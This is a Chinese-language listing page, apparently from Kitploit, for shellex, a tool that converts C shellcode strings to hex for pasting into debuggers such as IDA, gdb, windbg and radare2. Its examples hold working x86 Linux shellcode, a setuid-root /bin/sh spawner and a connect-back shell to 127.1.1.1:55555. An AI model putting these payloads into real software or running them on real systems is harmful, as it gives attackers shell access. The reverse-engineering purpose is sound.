Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
shellex — C-shellcode 转十六进制转换器,用于在 IDA PRO、gdb、windbg、radare2、ollydbg、x64dbg、immunity debugger 和 010 editor 中粘贴并执行 shellcode 的便捷工具。 | Kitploit
工具/GitHubGitHub/therealdreg/shellex
漏洞利用逆向工程Shellcode调试器实用工具与框架二进制分析Shellcode 生成Payload 开发
GitHubtherealdreg/shellex

shellex

C-shellcode 转十六进制转换器,用于在 IDA PRO、gdb、windbg、radare2、ollydbg、x64dbg、immunity debugger 和 010 editor 中粘贴并执行 shellcode 的便捷工具。

查看仓库
1122393年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

shellex

警告:世界上最丑陋的代码

C-shellcode 转十六进制转换器。

请考虑捐赠:https://github.com/sponsors/therealdreg

方便在 IDA PRO、gdb、windbg、radare2、ollydbg、x64dbg、immunity debugger 和 010 编辑器中粘贴和执行 shellcode 的工具。

你是否在将 C-shellcode 转换为十六进制时遇到问题(可能是 C 注释 + ASCII 混合?)

这里就是 shellex。如果 shellcode 可以在 C 编译器中编译,shellex 就能转换它。

只需执行 shellex,粘贴 shellcode 的 C 字符串,然后按回车键。

要结束,使用 Control+Z(Windows)/Control+D(Linux)

转换 C-shellcode-多行-十六进制+混合ASCII(注意混合部分 \x68//sh\x68/bin\x89):

root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

shellex 输出:

root@kitploit:~
6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

转换 C-shellcode-多行-带注释:

root@kitploit:~
"\x68"
"\x7f\x01\x01\x01"  // <- IP:  127.1.1.1
"\x5e\x66\x68"
"\xd9\x03"          // <- Port: 55555
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\xeb\xce"

shellex 输出:

root@kitploit:~
68 7F 01 01 01 5E 66 68 D9 03 5F 6A 66 58 99 6A 01 5B 52 53 6A 02 89 E1 CD 80 93 59 B0 3F CD 80 49 79 F9 B0 66 56 66 57 66 6A 02 89 E1 6A 10 51 53 89 E1 CD 80 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 EB CE

需要将 shellex 输出转换为新的 C-shellcode 字符串吗?只需使用 -h 参数,例如将 shellex 输出转换:

root@kitploit:~
./shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80

安装

root@kitploit:~
git clone https://github.com/therealdreg/shellex.git

对于 Windows:

二进制文件:

root@kitploit:~
shellex\bins\shellex.exe

对于 Linux

依赖:

root@kitploit:~
sudo apt-get install tcc

二进制文件:

root@kitploit:~
shellex/linuxbins/shellex

在 ollydbg、x64dbg、immunity debugger 中粘贴并执行 shellcode

只需使用我的 xshellex 插件:

https://github.com/therealdreg/xshellex

在 IDA PRO 中使用 IDAPYTHON 粘贴并执行 shellcode

  • 运行 shellex
  • 输入 shellcode:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • 按回车
  • 按 Control+D
  • 使用 shellex -h 将 shellex 输出转换为 C 十六进制字符串:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • 编写你自己的 IDAPYTHON 脚本:
root@kitploit:~
def writebytes(dest, str):
  for i, c in enumerate(str):
    idc.patch_byte(dest+i, ord(c));

address = idc.get_reg_value("eip")

shellcode = "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

writebytes(address, shellcode)

print("done!")
  • 将 C 十六进制字符串复制到 shellcode 变量。
  • 对于 32 位,使用:address = idc.get_reg_value("eip")
  • 对于 64 位,使用:address = idc.get_reg_value("rip")

在 IDA PRO 中调试程序:

  • 转到 File -> Script command...
  • 在 Script Language 中选择:Python
  • 粘贴 IDAPYTHON 脚本
  • 点击 Run

现在你可以使用 F7 调试 shellcode,但反汇编窗口可能会将 shellcode 显示为 db。

解决方案如下:

  • 在反汇编窗口中选中 shellcode 字节
  • 右键 -> Undefine
  • 再次选中反汇编窗口中的 shellcode 字节
  • 右键 -> Code -> Force -> Yes

完成!现在可以查看反汇编后的 shellcode 并用 F7 调试。

在 gdb 中粘贴并执行 shellcode

  • 运行 shellex
  • 输入 shellcode:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • 按回车
  • 按 Control+D
  • 使用 shellex -h 将 shellex 输出转换为 C 十六进制字符串:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • 使用 "echo" 将 C 十六进制字符串写入文件作为原始二进制数据:
root@kitploit:~
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" > /tmp/sc
  • gdb /bin/ls
  • starti

将二进制文件写入当前指令指针:

32 位:

root@kitploit:~
restore /tmp/sc binary $eip
x/30b $eip
x/15i $eip

64 位:

root@kitploit:~
restore /tmp/sc binary $rip
x/30b $rip
x/15i $rip

x/30b 中的 30 是 shellcode 的字节大小,可以通过以下方式获得:

root@kitploit:~
wc -c /tmp/sc

x/15i 中的 15 是要显示的指令数,可以使用 ndisasm 获得正确数量(可能):

root@kitploit:~
sudo apt-get install nasm

32 位:

root@kitploit:~
ndisasm -b32 /tmp/sc
ndisasm -b32 /tmp/sc | wc -l

64 位:

root@kitploit:~
ndisasm -b64 /tmp/sc
ndisasm -b64 /tmp/sc | wc -l

在 gdb-gef 中粘贴并执行 shellcode

  • 运行 shellex
  • 输入 shellcode:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • 按回车
  • 按 Control+D
  • 使用 echo "SPACE shellex_output" | sed "s/ / 0x/g" 转换:
root@kitploit:~
echo " 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80" | sed "s/ / 0x/g"

使用 patch byte 命令:

32 位:

root@kitploit:~
patch byte $eip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80

64 位:

root@kitploit:~
patch byte $rip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80

执行 context 命令并检查反汇编是否正确。

在 gdb-peda 中粘贴并执行 shellcode

  • 运行 shellex
  • 输入 shellcode:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • 按回车
  • 按 Control+D
  • 使用 shellex -h 将 shellex 输出转换为 C 十六进制字符串:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

32 位:

root@kitploit:~
patch $eip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

64 位:

root@kitploit:~
patch $rip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

执行 context 命令并检查反汇编是否正确。

在 windbg 中粘贴并执行 shellcode

  • 运行 shellex
  • 输入 shellcode:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • 按回车
  • 按 Control+D

通过 eb

对于小型 shellcode,eb 就很合适,只需将 shellex 输出与 eb 命令一起使用(感谢 Axel Souchet @0vercl0k 的提示)

32 位:

root@kitploit:~
eb @eip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

64 位:

root@kitploit:~
eb @rip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

通过文件

  • 使用 certutil 将 shellex 输出转换为原始二进制数据:
root@kitploit:~
echo 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80 > C:\Users\Dreg\sc.hex
certutil -f -decodeHex c:\Users\Dreg\sc.hex c:\Users\Dreg\sc
del C:\Users\Dreg\sc.hex

certutil 输出:

root@kitploit:~
Input Length = 92
Output Length = 30
CertUtil: -decodehex command completed successfully.

我们的 shellcode 长度为 30,因此可以在 windbg 中使用 L0n30。

将二进制文件写入当前指令指针:

32 位:

root@kitploit:~
.readmem C:\Users\Dreg\sc @eip L0n30

64 位:

root@kitploit:~
.readmem C:\Users\Dreg\sc @rip L0n30

在 radare2 中粘贴并执行 shellcode

  • 运行 shellex
  • 输入 shellcode:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • 按回车
  • 按 Control+D
  • 使用 shellex -h 将 shellex 输出转换为 C 十六进制字符串:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • 在 radare2 中使用 "w" 命令写入 C 十六进制字符串:

32 位:

root@kitploit:~
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @eip

64 位:

root@kitploit:~
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @rip

检查 shellcode 是否粘贴正确:

在终端中获取 shellcode 大小:

root@kitploit:~
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" | wc -c

上一条命令的输出为 30,现在在 radare2 中使用 pD 命令:

root@kitploit:~
pD 30

非交互模式

在 Linux 中转换 "\x6a\x17\x58\x31\xdb\xcd\x80":

root@kitploit:~
echo "\"\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\"" | shellex

在 Windows 中转换 "\x6a\x17\x58\x31\xdb\xcd\x80":

root@kitploit:~
echo "\x6a\x17\x58\x31\xdb\xcd\x80" | shellex.exe

在 Windows 中通过多行文件:

root@kitploit:~
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt | shellex.exe

在 Linux 中通过多行文件:

root@kitploit:~
dreg@fr33project# cat sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
dreg@fr33project# cat sc.txt | shellex

编译

对于 Windows,只需使用 Visual Studio 2013

  • https://my.visualstudio.com/Downloads?q=visual%20studio%202013&wt.mc_id=o~msft~vscom~older-downloads
  • https://go.microsoft.com/fwlink/?LinkId=532495&clcid=0x409

对于 Linux,只需:

root@kitploit:~
cd shellex/shellex
gcc -o shellex shellex.c
./shellex
下载工具